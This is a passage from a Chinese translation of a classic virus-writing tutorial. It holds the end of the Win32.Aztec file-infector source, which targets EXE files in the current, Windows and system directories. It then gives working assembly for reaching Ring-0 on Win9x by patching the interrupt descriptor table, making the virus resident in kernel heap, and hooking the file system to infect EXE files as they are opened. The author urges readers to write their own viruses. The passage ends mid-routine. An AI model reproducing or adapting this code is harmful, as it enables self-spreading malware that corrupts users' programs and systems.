;
; ?hTemplateFile:指用GENERIC_READaccess 访问一个模板文件的句柄。这个模板文件在
; 文件创建的时候提供文件属性和扩展的属性。Windows 95:这个值必须为NULL。如果你
; 在Windows 95下提供一个句柄，这个调用会失败而且GetLastError返回
; ERROR_NOT_SUPPORTED。
;
; 返回值
; ======
;
; ?如果函数成功了，返回值是一个打开的指定文件的句柄。如果指定的文件在函数调用前存
; 在和dwCreationDistribution是CREATE_ALWAYS 或 OPEN_ALWAYS的时候，一个调用
; GetLastError 函数会返回 ERROR_ALREADY_EXISTS(甚至函数成功了)。如果文件在
; 调用之前不存在，GetLastError将返回0。
; ?如果函数失败了，返回值是INVALID_HANDLE_VALUE。为了获取信息的错误信息，调用GetLastError。
;---------------------------------------------------------------------------
; 输入:
; ECX - 映射大小
; 输出:
; EAX - 如果成功为映射句柄
CreateMap proc
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr [ebp+FileHandle]
call [ebp+_CreateFileMappingA]
ret
CreateMap endp
;---------------------------------------------------------------------------
; CreateFileMapping 函数为指定文件创建一个命名的或未命名的文件映射对象。
;
; HANDLE CreateFileMapping(
; HANDLE hFile, // 要映射的文件的句柄
; LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可选安全属性
; DWORD flProtect, // 为映射对象保护
; DWORD dwMaximumSizeHigh, // 32位对象大小的高位
; DWORD dwMaximumSizeLow, // 32位对象大小的低位
; LPCTSTR lpName // 文件映射对象的名字
; );
;
; 参数
; ====
; ;
; ?hFile: 指从哪个文件创建映射对象。这个文件必须以和由flProtect参数指定的包含标
; 志相兼容的访问模式打开。建议，虽然不是必须，你打算映射的文件应该以独占方式打
; 开。
; 如果hFile 是 (HANDLE)0xFFFFFFFF，调用进程还必须在dwMaximumSizeHigh和
; dwMaximumSizeLow参数中指定映射对象的大小。这个函数是通过操作系统的页文件
; 而不是文件系统中的命名文件来创建一个指定大小的文件映射对象的。文件映射对象
; 可通过复制，继承或命名来共享。
;
; ?lpFileMappingAttributes: 指向一个SECURITY_ATTRIBUTES 结构，决定返回的句柄是
; 否可以被子进程继承。如果lpFileMappingAttributes 是NULL,句柄就不能被继承。
;
; ?flProtect: 指定当文件被映射的时候文件需要的保护。
;
; ?dwMaximumSizeHigh: 指定文件映射对象的32位最大大小的高位。
;
; ?dwMaximumSizeLow: 指定文件映射对象的32位最大大小的低位。如果这个参数和
; dwMaximumSizeHig为0，那么文件映射对象的最大大小等于有hFile确定的文件的
; 当前大小。
;
; ?lpName: 指向一个NULL结尾的字符串来指定映射对象的名字。这个名字可以包含除了反
; 斜线符号(/)之外的所有字符。
; 如果这个参数和已经存在的命名了的映射对象的名字相同，这个函数请求通过由flProtect
; 指定的保护来访问映射对象。
; 如果参数是NULL，映射对象就不通过命名创建。
;
; 返回值
; ======
;
; ?如果函数成功，返回值是一个文件映射对象的句柄。如果在调用这个函数之前对象已经
; 存在了，GetLastError 函数将返回 ERROR_ALREADY_EXISTS，而且返回值是一个已
; 经存在的文件映射对象(由当前的大小，而不是新的指定大小)的合法句柄。如果映射
; 对象不存在，GetLastError返回0。
; ?如果函数失败，返回值是NULL。想要知道详细的错误信息，调用GetLastError函数。
;---------------------------------------------------------------------------
; input:
; ECX - Size to map
; output:
; EAX - MapAddress if succesful
MapFile proc
xor eax,eax
push ecx
push eax
push eax
push 00000002h
push dword ptr [ebp+MapHandle]
call [ebp+_MapViewOfFile]
ret
MapFile endp
;---------------------------------------------------------------------------
; MapViewOfFile函数映射一个文件视图到调用进程的地址空间中去。
;
; LPVOID MapViewOfFile(
; HANDLE hFileMappingObject, // 要映射 的文件映射对象
; DWORD dwDesiredAccess, // 访问模式
; DWORD dwFileOffsetHigh, // 32位文件偏移地址的高位
; DWORD dwFileOffsetLow, // 32位文件偏移地址的低位
; DWORD dwNumberOfBytesToMap // 要映射 的字节数
; );
;
;
; 参数
; ====
;
; ?hFileMappingObject: 指定一个打开的文件映射对象的句柄。CreateFileMapping 和
; OpenFileMapping函数返回这个句柄。
;
; ?dwDesiredAccess: 指访问文件视图的类型，而且因此页的保护由这个文件映射。
;
; ?dwFileOffsetHigh: 指映射开始的偏移地址的高32位。
;
; ?dwFileOffsetLow: 指映射开始的偏移地址的低32位。
;
; ?dwNumberOfBytesToMap: 指文件映射的字节数。如果dwNumberOfBytesToMap是0，那么
; 整个文件将被映射。
;
; 返回值
; ======
;
; ?如果函数调用成功，返回值是映射视图开始的地址。
; ?如果函数调用失败，返回值是NULL。想要知道详细的错误信息，调用GetLastError。
;---------------------------------------------------------------------------
mark_ db "[Win32.Aztec v1.01]",0
db "(c) 1999 Billy Belcebu/iKX",0
EXE_MASK db "*.EXE",0
infections dd 00000000h
kernel dd kernel_
@@Namez label byte
@FindFirstFileA db "FindFirstFileA",0
@FindNextFileA db "FindNextFileA",0
@FindClose db "FindClose",0
@CreateFileA db "CreateFileA",0
@SetFilePointer db "SetFilePointer",0
@SetFileAttributesA db "SetFileAttributesA",0
@CloseHandle db "CloseHandle",0
@GetCurrentDirectoryA db "GetCurrentDirectoryA",0
@SetCurrentDirectoryA db "SetCurrentDirectoryA",0
@GetWindowsDirectoryA db "GetWindowsDirectoryA",0
@GetSystemDirectoryA db "GetSystemDirectoryA",0
@CreateFileMappingA db "CreateFileMappingA",0
@MapViewOfFile db "MapViewOfFile",0
@UnmapViewOfFile db "UnmapViewOfFile",0
@SetEndOfFile db "SetEndOfFile",0
db 0BBh
align dword
virus_end label byte
heap_start label byte
dd 00000000h
NewSize dd 00000000h
SearchHandle dd 00000000h
FileHandle dd 00000000h
MapHandle dd 00000000h
MapAddress dd 00000000h
AddressTableVA dd 00000000h
NameTableVA dd 00000000h
OrdinalTableVA dd 00000000h
@@Offsetz label byte
_FindFirstFileA dd 00000000h
_FindNextFileA dd 00000000h
_FindClose dd 00000000h
_CreateFileA dd 00000000h
_SetFilePointer dd 00000000h
_SetFileAttributesA dd 00000000h
_CloseHandle dd 00000000h
_GetCurrentDirectoryA dd 00000000h
_SetCurrentDirectoryA dd 00000000h
_GetWindowsDirectoryA dd 00000000h
_GetSystemDirectoryA dd 00000000h
_CreateFileMappingA dd 00000000h
_MapViewOfFile dd 00000000h
_UnmapViewOfFile dd 00000000h
_SetEndOfFile dd 00000000h
MAX_PATH equ 260
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db MAX_PATH dup (?)
WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
directories label byte
WindowsDir db 7Fh dup (00h)
SystemDir db 7Fh dup (00h)
OriginDir db 7Fh dup (00h)
dirs2inf equ (($-directories)/7Fh)
mirrormirror db dirs2inf
heap_end label byte
;---------------------------------------------------------------------------
; 上面所有的都是病毒要使用的数据;)
;---------------------------------------------------------------------------
; First generation host
fakehost:
pop dword ptr fs:[0] ; 清除堆栈
add esp,4
popad
popfd
xor eax,eax ; 用第一次生成的无聊的信息显示MessageBox
push eax
push offset szTitle
push offset szMessage
push eax
call MessageBoxA
push 00h ; 终止第一次生成
call ExitProcess
end aztec
;------到这儿为止剪切-------------------------------------------------------
好了，我认为关于这个病毒我已经解释得够清楚了。它只是一个简单的直接行为(运行期)病毒，能够在所有 的Win32平台上工作，而且在当前目录，windows目录和系统目录上感染5个文件。它没有任何隐藏自己的机制(因为它是一个示例病毒)，而且我想它 能够被所有的反病毒软件检测到。所以它不值得改变字符串并声称是它的作者。你应该自己做。因为我知道病毒的一些部分还不够清晰(如那些调用API函数，如 完成一个任务用的值)，下面就简要地列举出怎么调用一些API来做具体地事情。
-> 怎么打开一个文件进行读写?
我们用来做这个的API是CreateFileA。建议参数如下：
push 00h ; hTemplateFile
push 00h ; dwFlagsAndAttributes
push 03h ; dwCreationDistribution
push 00h ; lpSecurityAttributes
push 01h ; dwShareMode
push 80000000h or 40000000h ; dwDesiredAccess
push offset filename ; lpFileName
call CreateFileA
+ hTemplateFile, dwFlagsAndAttributes 和 lpSecurityAttributes 应该为0。
+ dwCreationDistribution, 有一些有趣的值。 它可以为:
CREATE_NEW = 01h
CREATE_ALWAYS = 02h
OPEN_EXISTING = 03h
OPEN_ALWAYS = 04h
TRUNCATE_EXISTING = 05h
当我们想要打开一个已经存在的文件的时候，我们使用OPEN_EXISTING，即03h。如果我们因为病毒的需要而要打开一个模板文件，我们在这里将要使用另外一个值，如CREATE_ALWAYS。
+ dwShareMode 应该为 01h, 总之，我们可以从下面的值中选择:
FILE_SHARE_READ = 01h
FILE_SHARE_WRITE = 02h
所有文我们让其它人读我们打开的文件，但是不能写!
+ dwDesiredAccess 处理访问文件的选择。 我们使用 C0000000h,因为它是 GENERIC_READ 和 GENERIC_WRITE的和，那就意味着我们两个访问方式都要:)下面你得到:
GENERIC_READ = 80000000h
GENERIC_WRITE = 40000000h
** 如果有一个失败，这个调用CreateProcess将会返回给我们0xFFFFFFFF；如果没有任何失败，它将返回给我们打开文件的句柄，所以，我们将它保存到相关变量中。要关闭那个句柄(需要的时候)使用CloseHandle这个API函数。
-> 怎样创建一个打开文件的映射?
要用到的API是CreateFileMappingA。建议的参数为：
push 00h ; lpName
push size_to_map ; dwMaximumSizeLow
push 00h ; dwMaximumSizeHigh
push 04h ; flProtect
push 00h ; lpFileMappingAttributes
push file_handle ; hFile
call CreateFileMappingA
+ lpName 和 lpFileMappingAttributes 建议为 0。
+ dwMaximumSizeHigh 应该为 0 除非当 dwMaximumSizeLow < 0xFFFFFFFF
+ dwMaximumSizeLow 是我们想要映射的大小
+ flProtect 可以为如下的值:
PAGE_NOACCESS = 00000001h
PAGE_READONLY = 00000002h
PAGE_READWRITE = 00000004h
PAGE_WRITECOPY = 00000008h
PAGE_EXECUTE = 00000010h
PAGE_EXECUTE_READ = 00000020h
PAGE_EXECUTE_READWRITE = 00000040h
PAGE_EXECUTE_WRITECOPY = 00000080h
PAGE_GUARD = 00000100h
PAGE_NOCACHE = 00000200h
我建议你使用PAGE_READWRITE，那个在映射时读或写不出现问题。
+ hFile 是我们想要映射的先前打开的句柄。
** 如果失败了，调用这个API函数会返回给我们一个NULL值；否则将会返回给我们映射句柄。我们将把它保存到一个变量中以备后用。要关闭一个映射句柄，要调用的API应该为CloseHandle。
-> 怎么能映射文件?
应该用MapViewOfFile这个API函数，它的建议参数如下：
push size_to_map ; dwNumberOfBytesToMap
push 00h ; dwFileOffsetLow
push 00h ; dwFileOffsetHigh
push 02h ; dwDesiredAccess
push map_handle ; hFileMappingObject
call MapViewOfFile
+ dwFileOffsetLow 和 dwFileOffsetHigh 应该为 0
+ dwNumberOfBytesToMap 是我们想要映射的文件的字节数
+ dwDesiredAccess 可以为如下值:
FILE_MAP_COPY = 00000001h
FILE_MAP_WRITE = 00000002h
FILE_MAP_READ = 00000004h
我建议 FILE_MAP_WRITE。
+ hFileMappingObject 应该为映射句柄( Mapping Handle ), 由先前调用的CreateFileMappingA函数返回。
** 如果失败，这个 API 将会返回给我们NULL, 否则它将返回给我们映射地址 (Mapping Address)。所以，从那个映射地址，你可以访问映射空间的任何地方，并进行你想要的修改:)为了关闭那个映射地址，应 该用UnmapViewOfFile这个API。
-> 怎么关闭文件句柄和映射句柄?
OK，我们必须使用CloseHandle这个API。
push handle_to_close ; hObject
call CloseHandle
** 如果关闭成功, 它返回 1。
-> 怎么关闭映射地址?
你应该使用UnmapViewOfFile。
push mapping_address ; lpBaseAddress
call UnmapViewOfFile
** 如果关闭成功，它返回1。
【Ring-0，在上帝级编码】
~~~~~~~~~~~~~~~~~~~~~~
自由!你热爱吗？在Ring-0，我们在限制之外，那里没有任何限制。因为Micro$oft的无能，我们有很多的方法跳到这个级别，一个理论上不能到达的地方。但是，我们可以在Win9X系统中跳转到Ring-0:)
例如，Micro$oft的傻瓜们没有保护中断表。这在我的眼中是一个巨大的安全失败。但话又说过来，如果我们可以利用它编写病毒，它就不是一个错误了，它就是一个礼物!;)
% 来到 Ring-0 %
~~~~~~~~~~~~~~~
好了，我将解释在我看来最简单的方法，那就是IDT修改。IDT(Interrupt Descriptor Table)不是一个固定的地址，所以我们必须使用指令来定位它，那就是SIDT。
----------------------------------------------------------------------------
_______________________________________________________
| SIDT - Store Interrupt Descriptor Table (286+ 专有) |
|_______________________________________________________|
+ 用法: SIDT 目标
+ 修改标记: 无
存储Interrupt Descriptor Table (IDT)寄存器到指定操作数中。
Clocks Size
Operands 808X 286 386 486 Bytes
mem64 - 12 9 10 5
0F 01 /1 SIDT mem64 Store IDTR to mem64
----------------------------------------------------------------------------
如果我们使用SIDT还不够清晰的话，它仅仅保存IDT的FWORD偏移(WORD:DWORD格式)。而且，如果 我们知道了IDT在哪里，我们可以修改中断向量，并使它们指向我们的代码。展示给你的是Micro$oft的蹩脚的代码编写者。让我们继续我们的工作。在 使中断向量改变后指向我们的代码(并把它们保存，以备以后恢复)之后，我们只要调用我们已经钩住(hook)的中断即可。如果看起来现在对你还不清晰，下 面是通过修改IDT的方法来跳到Ring-0的代码。
;---------从这儿开始剪切----------------------------------------------------
.586p ; Bah... simply for phun.
.model flat ; Hehehe i love 32 bit stuph ;)
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
Interrupt equ 01h ; Nothing special
.data
szTitle db "Ring-0 example",0
szMessage db "I'm alive and kicking ass",0
;------------------------------------------------------------------------------
;好了，这一段对你来说已经相当清晰了，是吗? :)
;------------------------------------------------------------------------------
.code
start:
push edx
sidt [esp-2] ; Interrupt table to stack
pop edx
add edx,(Interrupt*8)+4 ; Get interrupt vector
;------------------------------------------------------------------------------
; 这相当简单。SIDT，正如我以前解释过的，把IDT的地址保存到一个内存地址中，为了
; 我们的简单起见，我们直接使用了堆栈。接下来是一个POP指令，它把IDT的偏移地址
; 装载到寄存器(这里为EDX)中。下一行是仅仅为了定位我们想要的中断的偏移地址。这
; 就和在DOS下玩IVT一样...
;------------------------------------------------------------------------------
mov ebx,[edx]
mov bx,word ptr [edx-4] ; Whoot Whoot
;------------------------------------------------------------------------------
; 相当简单。它仅仅是为了将来恢复，把EDX指向的内容保存到EBX中
;------------------------------------------------------------------------------
lea edi,InterruptHandler
mov [edx-4],di
ror edi,16 ; Move MSW to LSW
mov [edx+2],di
;------------------------------------------------------------------------------
; 我以前是不是说过了它有多简单? :)这里，我们给EDI指向新中断处理的偏移地址，下
; 面的3行是把那个处理放到IDT中。为什么那样ROR呢?嗯，如果你使用ROR,SHR或SAR都
; 没关系，因为它仅仅把中断处理偏移的MSW(More Significant Word)移到LSW (Less
; Significant Word)中，然后保存。
;------------------------------------------------------------------------------
push ds ; Safety safety safety...
push es
int Interrupt ; Ring-0 comez hereeeeeee!!!!!!!
pop es
pop ds
;------------------------------------------------------------------------------
;Mmmm...很有意思。我们为了安全起见，把DS和ES压栈了，避免一些罕见的错误，但是
;它可以不用它工作，相信我。因为中断已经被补丁过了，除了设置这个中断之外，不用
;做其它任何事情了...现在我们已经在RING0里了，下面的代码是继续InterruptHandler
;------------------------------------------------------------------------------
mov [edx-4],bx ; Restore old interrupt values
ror ebx,16 ; ROR, SHR, SAR... who cares?
mov [edx+2],bx
back2host:
push 00h ; Sytle of MessageBox
push offset szTitle ; Title of MessageBox
push offset szMessage ; The message itself
push 00h ; Handle of owner
call MessageBoxA ; The API call itself
push 00h
call ExitProcess
ret
;------------------------------------------------------------------------------
;现在除了恢复原先的保存在EBX中的中断向量外，没做其它更多的事情。然后，我们
;返回代码到主体。(好了，只是假设是那样) ;)
;------------------------------------------------------------------------------
InterruptHandler:
pushad
; 下面是你的代码 :)
popad
iretd
end start
;---------从这儿为止剪切----------------------------------------------------
现在我们可以访问它了。我想所有人都可以做它，但是现在对于普通病毒在第一次访问Ring-0时又面临一个问题:我们为什么现在做呢?
% 在 Ring-0 下编写病毒 %
~~~~~~~~~~~~~~~~~~~~~~~~
我喜欢开始有一点点算法的教程，所以你将来我们该怎样在Ring-0编写病毒的时候碰到一个。
----------------------------------------------------------------------
1.测试运行的操作系统(OS):如果NT，跳过病毒并返回目录给主体
2.跳到Ring-0(IDT,VMM插入或调用门技术)
3.执行一个中断，它包含了感染代码。
3.1.获得一个放置病毒驻留的地方(开辟页或者在堆中)
3.2.把病毒放进去
3.3.钩住文件系统并保存旧的钩子
3.3.1.在FS Hook中，首先要保存所有的参数并修复ESP
3.3.2.参数压栈
3.3.3.然后检查系统是否试图打开一个文件，如果没有，跳过
3.3.4.如果试图打开，首先把文件名转化成ASCII码
3.3.5.然后检查是否是一个EXE文件。如果不是，跳过感染
3.3.6.打开，读文件头，操作，重写，添加和关闭
3.3.7.调用旧的钩子
3.3.8.跳过所有的返回到ESP的参数
3.3.9.返回
3.4.返回
4.恢复旧的中断向量
5.返回控制权给主体
----------------------------------------------------------------------
这个算法有一点点大，无论如何我可以使它更概要，但是我更愿意直接行动。OK，来吧，Let's go!
当文件运行时测试操作系统
~~~~~~~~~~~~~~~~~~~~~~~~
因为在NT下Ring-0有些问题(Super,解决它们!)，我们必须我们所在的操作系统，如果不是Win9X平台就返回控制权给主体。好了，有很多方法去做这个：
+ 使用 SEH
+ 检查代码段的值
好了，我假设你已经知道了怎么玩SEH，对吗？我在另外一章已经解释了它的用法，所以现在是去读一下它的时候了:)关于第二个可能的事情，下面是代码:
mov ecx,cs
xor cl,cl
jecxz back2host
这个例子的解释:在Windows NT中，代码段总是小于100h，而在Win95/98中总是大一 些，所以我们清除它的低位字节，而且如果它比100小，ECX将为0，反过来，如果它比100大，它将不会是0:)优化了，耶;)
%跳到Ring-0并执行中断%
~~~~~~~~~~~~~~~~~~~~~~
好了，已经在这个文档中的访问Ring-0部分解释了最简单的方法，所以关于这个我就不多说了:)
%我们已经在Ring-0里了...该做什么呢?%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在Ring-0里面，代之API，我们有VxD服务。VxD 服务以下面的形式访问:
int 20h
dd vxd_service
vxd_service占两个字，MSW表明VxD号，而LSW表明我们从VxD中调用的函数。例如，我将使用VMM_PageModifyPermissions值：
dd 0001000Dh
↑_____↑_____ Service 000Dh _PageModifyPermissions
|_______ VxD 0001h VMM
所以，为了调用它，我们必须如下做:
int 20h
dd 0001000Dh
一个非常聪明的编码方式是编写一个宏来自动做这个，并使号码为EQUates。但是，那是你的选择。这个值是固定 的，所以，在Win95和Win98中一样。不要担心，Ring-0的一个好处是你不需要在Kernel中或其它地方搜索偏移地址(当我们使用API的时 候)，因为没有必要做它，必须硬编码:)
这里我必须声明一个我们在编写一个Ring-0病毒的时候必须清除的非常重要的事情：int 20h和地址，我演示给你的访问VxD的函数，在内存中如下:
call dword ptr [VxD_Service] ; 回调服务
你可以认为有点愚蠢，但是，它非常重要，而且真的很痛苦，因为病毒用这些CALL而不是int和服务的双字偏移来复 制到宿主，这使得病毒只能在你的计算机上执行，而不能在其他人的机器上运行:(在现实生活中，这个麻烦有许多解决方法。它们中的其中的一个，正如 Win95.Padania所做的，在每个VxD调用后面修复它。另外的方法是:做一个所有的偏移地址的表来修复，直接做等等。下面是我的代码，而且你可 以在我的Garaipena和PoshKiller中看到它:
VxDFix:
mov ecx,VxDTbSz ; 传送例程的次数
lea esi,[ebp+VxDTblz] ; 指向表的指针
@lo0pz:lodsd ; 把当前表的偏移地址装载到EAX中
add eax,ebp ; 加上delta 偏移
mov word ptr [eax],20CDh ; 放到那个地址中
mov edx, dword ptr [eax+08h] ; 获得 VxD 服务值
mov dword ptr [eax+02h],edx ; 并恢复它
loop @lo0pz ; 校正另外一个
ret
VxDTblz label byte ; 所有有VXD调用的偏移地址表
dd (offset @@1)
dd (offset @@2)
dd (offset @@3)
dd (offset @@4)
; [...] 所有其它的调用VxD函数的指针必须列在这里 :)
VxDTbSz equ (($-offset VxDTblz)/4) ; 个数
我希望你理解了每个我们调用的VxD函数必须有它的偏移地址。哦，我几乎忘了另外一件重要的事情：如果你正在使用我的VxD修正过程，你的VxDCall宏该怎样。下面给出：
VxDCall macro VxDService
local @@@@@@
int 20h ; CD 20 +00h
dd VxDService ; XX XX XX XX +02h
jmp @@@@@@ ; EB 04 +06h
dd VxDService ; XX XX XX XX +08h
@@@@@@:
endm
OK，现在我们需要一个驻留的地方。我个人偏向于放在net堆中，因为它很容易编写(懒人的规则!)。
---------------------------------------------------------------------------
** IFSMgr_GetHeap - 开辟一块net堆
+ 除非IFSMgr执行了SysCriticalInit，否则这个服务将不合法
+ 这个函数使用 C6 386 _cdecl 调用顺序
+ 入口 -> TOS - 需要大小
+ 出口 -> EAX - 堆块的地址，如果失败为0
+ 使用 C 寄存器 (eax, ecx, edx, flags)
---------------------------------------------------------------------------
以上是一些Win95 DDK的信息。让我们看看关于这个的例子：
InterruptHandler:
pushad ; Push 所有寄存器
push virus_size +1024 ; 我们需要的内 存 (virus_size+buffer)
; 当你使用缓冲区的时候，更好
; 把它加上更多的字节
@@1: VxDCall IFSMgr_GetHeap
pop ecx
够清楚了吧？正如DDK所说的，如果它失败了，它将在EAX中返回给我们0，所以检查可能的失败。接下来的POP非常重要，因为VxD的大多数服务不修正堆栈，所以我们在调用VxD函数之前压栈的值还在堆栈中。
or eax,eax ; cmp eax,0
jz back2ring3
如果函数成功了，我们在EAX中得到了我们必须移动的病毒主体的地址，那么Let's go!
mov byte ptr [ebp+semaphore],0 ; Coz infection puts it in 1
mov edi,eax ; Where move virus
lea esi,ebp+start ; What to move
push eax ; Save memory address for later
sub ecx,1024 ; We move only virus_size
rep movsb ; Move virus to its TSR location ;)
pop edi ; Restore memory address
我们在一个内存地址中的是病毒，准备TSR的，对吗?而且在EDI中是病毒在内存中开始的地址，所以我们可以把它作 为下个函数的delta offset:)好了，我们现在需要hook文件系统了对吗？OK，有一个函数可以做这个工作。很惊讶，是把？ Micro$oft微软工程师为我们做了累活。
---------------------------------------------------------------------------
** IFSMgr_InstallFileSystemApiHook - 安装一个文件系统 api hook
这个服务为调用者安装一个文件系统api hook。这个hook在IFS manager 和一个FSD之间，钩子可以看任何IFS manager对FSD的任何调用。
这个函数使用C6 386 _cdecl 调用顺序
ppIFSFileHookFunc
IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )
入口 TOS - 将要安装作为钩子的函数的地址
出口 EAX - 指向在这个链中的包含以前钩子的地址变量
使用 C 寄存器
---------------------------------------------------------------------------
清楚了吧？如果不，我希望你在看了一些代码之后，理解了它。好了，让我们钩住文件系统(hook FileSystem)...
lea ecx,[edi+New_Handler] ; (vir address in mem + handler offs)
push ecx ; Push it
@@2: VxDCall IFSMgr_InstallFileSystemApiHook ; Perform the call
pop ecx ; Don't forget this, guy
mov dword ptr [edi+Old_Handler],eax ; EAX=Previous hook
back2ring3:
popad
iretd ; return to Ring-3. Yargh
好了，我们已经看完了Ring-0病毒的安装部分。现在，我们必须编写文件系统(FileSystem)的处理部分了:)简单，但是否如你所想?:)
FileSystem Handler:真正有趣!!!
耶，下面是驻留感染它自己，但是我们在开始之前不得不做些事情。首先，我们必须对堆栈做一个安全拷贝，也就是说保存ESP内容到EBP寄存器中。然后，我们应该把ESP减去20h，为了修正堆栈指针。让我们看看一些代码:
New_Handler equ $-(offset virus_start)
FSA_Hook:
push ebp ; Save EBP content 4 further restorin
mov ebp,esp ; Make a copy of ESP content in EBP
sub esp,20h ; And fix the stack
现在，因为我们的函数要被系统用一些参数调用，我们应该push它们，就像原先的处理程序所做的。要push的参数从EBP+08h到EBP+1Ch，包含它们，并和IOREQ结构相关。
push dword ptr [ebp+1Ch] ; pointer to IOREQ structure.
push dword ptr [ebp+18h] ; codepage that the user string was
; passed in on.
push dword ptr [ebp+14h] ; kind of resource the operation is
; being performed on.
push dword ptr [ebp+10h] ; the 1-based drive the operation is
; being performed on (-1 if UNC).
push dword ptr [ebp+0Ch] ; function that is being performed.
push dword ptr [ebp+08h] ; address of the FSD function that
; is to be called for this API.
现在，我们已经把应该push的参数push到正确的地方了，所以对它们不要再担心了。现在，我们必须检查你将要操作的IFSFN函数。下面你得到的是最重要的小列表:
-------------------------------------------------------------------------------
** 传送给 IFSMgr_CallProvider 的IFS函数ID
IFSFN_READ equ 00h ; read a file
IFSFN_WRITE equ 01h ; write a file
IFSFN_FINDNEXT equ 02h ; LFN handle based Find Next
IFSFN_FCNNEXT equ 03h ; Find Next Change Notify
IFSFN_SEEK equ 0Ah ; Seek file handle
IFSFN_CLOSE equ 0Bh ; close handle
IFSFN_COMMIT equ 0Ch ; commit buffered data for handle
IFSFN_FILELOCKS equ 0Dh ; lock/unlock byte range
IFSFN_FILETIMES equ 0Eh ; get/set file modification time
IFSFN_PIPEREQUEST equ 0Fh ; named pipe operations
IFSFN_HANDLEINFO equ 10h ; get/set file information
IFSFN_ENUMHANDLE equ 11h ; enum file handle information
IFSFN_FINDCLOSE equ 12h ; LFN find close
IFSFN_FCNCLOSE equ 13h ; Find Change Notify Close
IFSFN_CONNECT equ 1Eh ; connect or mount a resource
IFSFN_DELETE equ 1Fh ; file delete
IFSFN_DIR equ 20h ; directory manipulation
IFSFN_FILEATTRIB equ 21h ; DOS file attribute manipulation
IFSFN_FLUSH equ 22h ; flush volume
IFSFN_GETDISKINFO equ 23h ; query volume free space
IFSFN_OPEN equ 24h ; open file
IFSFN_RENAME equ 25h ; rename path
IFSFN_SEARCH equ 26h ; search for names
IFSFN_QUERY equ 27h ; query resource info (network only)
IFSFN_DISCONNECT equ 28h ; disconnect from resource (net only)
IFSFN_UNCPIPEREQ equ 29h ; UNC path based named pipe operation
IFSFN_IOCTL16DRIVE equ 2Ah ; drive based 16 bit IOCTL requests
IFSFN_GETDISKPARMS equ 2Bh ; get DPB
IFSFN_FINDOPEN equ 2Ch ; open an LFN file search
IFSFN_DASDIO equ 2Dh ; direct volume access
-------------------------------------------------------------------------------
对我们来说的第一件事，我们感兴趣的唯一的函数是24h，那就是说打开。系统几乎每时每刻都在调用那个函数，所以对它没有任何问题。为这个编码就和你能想象的一样简单:)
cmp dword ptr [ebp+0Ch],24h ; Check if system opening file
jnz back2oldhandler ; If not, skip and return to old h.
现在开始有意思的。我们知道这里系统请求文件打开，所以现在该我们了。首先，我们应该检查我们是否在进 行我们自己的调用...简单，仅仅加一个小变量，它将出现一些问题。Btw，我几乎忘了，获得delta offset :)
pushad
call ring0_delta ; Get delta offset of this
ring0_delta:
pop ebx
sub ebx,offset ring0_delta
cmp byte ptr [ebx+semaphore],00h ; Are we the ones requesting
jne pushnback ; the call?
inc byte ptr [ebx+semaphore] ; For avoid process our own calls
pushad
call prepare_infection ; We'll see this stuff later
call infection_stuff
popad
dec byte ptr [ebx+semaphore] ; Stop avoiding :)
pushnback:
popad
现在我将继续介绍处理程序本身，然后，我将解释我是怎么做这些例程的， prepare_infection 和 infection_stuff。如果系统正在请求一个调用，我们就退出我们将要处理的例 程，OK?现在，我们必须编写调用旧的FileSystem hook的例程。当你还记得(我假设你没有alzheimer)，我们push了 所有参数，所以我们该做的唯一的事情是装到寄存器中，旧地址没关系，然后调用那个内存位置。然后，我们把ESP加18h(为了能够获得返回地址)，完了。 你将最好看看一些代码，所以，你将看到：
back2oldhandler:
db 0B8h ; MOV EAX,imm32 opcode
Old_Handler equ $-(offset virus_start)
dd 00000000h ; here goes the old handler.
call [eax]
add esp,18h ; Fix stack (6*4)
leave ; 6 = num. paramz. 4 = dword size.
ret ; Return
感染准备
^^^^^^^^
这是Ring-0代码的主要部分的一方面。让我们现在看看Ring-0编写代码的细节。当我们在钩子处理中的时候，有两个调用，对吗？这不是必须的，但是我为了使代码更简单，那么做了，因为我喜欢使事情结构化。
在第一次调用的时候，我调用的prepare_infection仅仅因为一个原因做了一件事情。系统作为一个参数 给我们的文件名，但是我们有一个问题。系统以UNICODE形式给我们的，而且对我们来说它没有什么用。所以，我们需要把它转换成ASCII码，对吗？我 们有一个VxD服务可以为我们做这件事。它的名字:UniToBCSParh。下面是你喜欢的源代码。
prepare_infection:
pushad ; Push all
lea edi,[ebx+fname] ; Where to put ASCII file name
mov eax,[ebp+10h]
cmp al,0FFh ; Is it in UNICODE?
jz wegotdrive ; Oh, yeah!
add al,"@" ; Generate drive name
stosb
mov al,":" ; Add a :
stosb
wegotdrive:
xor eax,eax
push eax ; EAX = 0 -> Convert to ASCII
mov eax,100h
push eax ; EAX = Size of string to convert
mov eax,[ebp+1Ch]
mov eax,[eax+0Ch] ; EAX = Pointer to string
add eax,4
push eax
push edi ; Push offset to file name
@@3: VxDCall UniToBCSPath
add esp,10h ; Skip parameters returnet
add edi,eax
xor eax,eax ; Make string null-terminated
stosb
popad ; Pop all
ret ; Return
感染本身
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下面我将告诉你怎样到达直到你你必须的应用感染后的文件应该有的新的PE头和节头的值。但是，我不会解释怎么操作它 们了，不是因为我懒，仅仅是因为这是Ring-0代码编写一章，而不是PE感染一章。这个部分和FileSystem 钩子代码的 infection_stuff 部分相符。首先，我们必须检查我们将要操作的文件是否是一个.EXE文件还是其它不感兴趣的文件。所以，首 先，我们必须在文件名字里寻找0值，它告诉我们它的末尾。这编写起来很简单：
infection_stuff:
lea edi,[ebx+fname] ; Variable with the file name
getend:
cmp byte ptr [edi],00h ; End of filename?
jz reached_end ; Yep
inc edi ; If not, search for another char
jmp getend
reached_end:
